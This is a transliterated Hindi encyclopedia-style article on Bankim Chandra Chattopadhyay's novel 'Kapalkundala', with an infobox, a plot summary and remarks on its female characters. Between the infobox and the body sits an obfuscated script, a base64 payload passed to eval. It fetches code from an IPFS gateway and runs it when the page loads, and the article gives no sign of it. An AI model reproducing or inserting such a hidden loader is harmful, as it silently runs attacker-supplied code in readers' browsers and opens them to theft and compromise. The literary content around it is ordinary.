कपालकुंडला -बंकिम चन्द्र चट्टोपाध्याय

kapalakuandala -bankim chandr chattopadhyay
'kapalakuandala' upanyas ka avaran prishth|200px|center
vivaran	'kapalakuandala' ek prasiddh upanyas hai. is upanyas mean nari charitr ki pradhanata ko prastut kiya gaya hai.
rachanakar	bankim chandr chattopadhyay
desh	bharat
bhasha	bangali
sahityik vidha	upanyas
prakashan tithi	1866
prakashak	dayamand p aauket buks
aeeesabien	81-288-0313-1

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kapalakuandala namak prasiddh upanyas ke rachanakar bankim chandr chattopadhyay the. bankim da ke lekhan itihas mean unaki yah rachana shreni mean doosare sthan par ati hai. 'durgesh nandini' ke pashchath bankim da ne yah doosara upanyas likha tha. 'kapalakuandala' bankim da ke behatarin aur lokapriy upanyasoan mean se ek mana jata hai. isaka aangrezi, jarman, hindi, gujarati, tamil, telugu aur sanskrit mean anuvad kiya gaya hai.

katha

'kapalakuandala' upanyas ke kuchh patr aur ghatanaean nimn prakar haian, jisamean katha ki rochakata ki tho di bahut jhalak milati hai. vaise yah upanyas ek aise kiradar 'kapalakuandala' nam ki stri par adharit hai, jisane apane pyar ka balidan diya. bankim da ne is upanyas mean bhi stri charitr ko apani prishthabhoomi mean rakha hai.

"navakumar nam ka navayuvak gangasagar tirthayatra se ek b de jahaz se laut raha hai. atyadhik dhuandh hone ke karan usaka jahaz bhatak jata hai aur ek nirjan dvip par ja lagata hai. navakumar yatriyoan ke bhojan ki vyavastha ke lie akele jangal mean chala jata hai. vapis ane par dekhata hai ki jahaz to ja chooka hai. vah dvip par ghoomata rahata hai, ratri hone par usaki mulaqat ek taantrik kapalik se hoti hai. kapalik use rahane ke lie chhat aur khane ko bhojan deta hai. kapalik agali ratri navakumar ko apane tantr sthal par usaki bali dene ke lie le jata hai. lekin bali de pane se pahale hi ek navayuvati dvara vah bacha liya jata hai. navayuvati navakumar ko ek bhairav mandir mean le jakar chhupa deti hai, jahaan usaki maan navayuvati kapalakuandala ke bhavishy ki chianta karati hai. kapalakuandala ki maan batati hai ki "ab kapalik kapalakuandala ki bali dega." usaki maan isaka hal donoan ke vivah se nikal leti hai. kapalakuandala aur navakumar vivah karake tatkshan dvip se nikal jate haian.

raste mean navakumar motibaee namak ek mahila ki sahayata karata hai, jisake kafile ko dakuoan ne loot liya tha. motibaee navakumar ka parichay pati hai to khush ho jati hai. motibaee phir vahaan se agara ko ravana ho jati hai aur apane abhooshan kapalakuandala ko de deti hai. navakumar apane gaanv saptagram pahuanchata hai, jahaan usake mata-pita usako jivit dekhakar khush hote haian aur kapalakuandala ko apani bahu ke roop mean apana lete haian. ab kapalakuandala ek sadhvi jivan se parivarik jivan mean kadam rakhati hai, lekin vah parivarik jivan ke sath apane ap ko abhyast nahian kar pati. navakumar ki bahan usaki is kary mean sahayata karati hai. kapalakuandala parivarik jivan mean anand to leti hai, par samaj ki bandishoan ko nahian manati.

kuchh samay bad motibaee saptagram ati hai. vah navakumar ko apana asali parichay deti hai. lekin navakumar use svikar karane se mana kar deta hai. motibaee isi udhe dabun mean nadi ke kinare baith jati hai, jahaan kapalik ki usase mulaqat hoti hai. kapalik use batata hai ki use kapalakuandala chahie aur motibaee ko navakumar. donoan ek sajish rachate haian. motibaee kapalakuandala ko milane ka sandesha bhijavati hai. kapalakuandala jab milane ke lie nikalati hai to navakumar usase prashn poochhata hai; lekin vah sahi se javab nahian de pati. navakumar ko kapalakuandala par vishvas nahian rahata aur vah bhi usake pichhe pichhe chala jata hai. navakumar ko bich raste mean kapalik milata hai, jo navakumar ko batata hai ki kapalakuandala ne usake sath vishvasaghat kiya hai aur vah kisi paraye purush se milane gayi hai. vahaan kapalakuandala milane ke tay sthan par jati hai, jahaan motibaee use kapalik ke bare mean batati hai aur usake pati ke avishvas ke bare mean bhi batati hai. yah bat sunakar kapalakuandala svayan ko devi ko samarpit karane ki pratijna leti hai. tabhi kapalik navakumar ko nashe ki davaee pilata hai aur kapalakuandala ko tantr sthan tak le jane ki ajna deta hai. navakumar nashe ki halat mean kapalakuandala ka hath pak dakar samudr ke kinare le jata hai, jahaan kapalik ne apana tantr-mantr ka kary pahale se hi shuroo kiya hota hai. kapalik navakumar ko ajna deta hai ki kapalakuandala ko snan karava laye. jab navakumar kapalakuandala ko samudr mean hath pak d kar snan ke lie le jata hai, tabhi navakumar ko hosh ata hai ki vah kya anarth kar raha hai. par kapalakuandala apana nishchay aur pratijna bhi batati hai aur samudr mean chhalaang laga deti hai. navakumar bhi use khojane ke lie samudr mean chhalaang lagata hai, par kapalakuandala nahian milati. ek stri ko navakumar pa chooka tha, lekin us par vah vishvas n kar saka. chooanki kapalakuandala ne sadhvi jivan bitaya tha, isalie vah parivarik kriyakalapoan mean bhag nahian le pati. avishvas ne navakumar ke parivar ko barbad kar diya. shayad motibaee ko bad mean ahasas ho gaya tha ki kapalik ke sath navakumar ko dhokha dene ki jo vah bat soch rahi hai, vah galat hai.

nari charitr ki pradhanata

nadi tat ka vah kshan, jab kapalik navakumar ko nashe ki dava pilata hai, us samay ka drishy aur ghatana kram bankim chandr chattopadhyay ne aisa likha hai ki ek pal ko aisa lagata hai ki jaise koee bhoot ki kahani padh rahe hoan. lekin is drishy ke prasang mean aisi sarthakata aur sadagi hai ki pathak sahaj hi isamean kho jayeange. navakumar aur kapalakuandala ki pratham mulaqat mean aisa lagata hai ki kapalakuandala koee atma hai, jo navakumar ki raksha kar rahi hai. kapalik ka charitr itana sudridh hai ki kapalakuandala ke pashchath kahani mean vahi chhaya hua hai. bankim chandr chattopadhyay stri charitr ka kitana sundar varnan karate haian, is pustak se jan sakate haian. bankim da ne ek hi pustak mean stri ke vibhinn roopoan ko pradarshit kiya hai. bankim da ne apane kee upanyasoan mean nari charitr ko gahara sthan diya hai. simit kiradar ko lekar is upanyas ki kahani itane sundar roop se sirph bankim da hi badha sakate the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh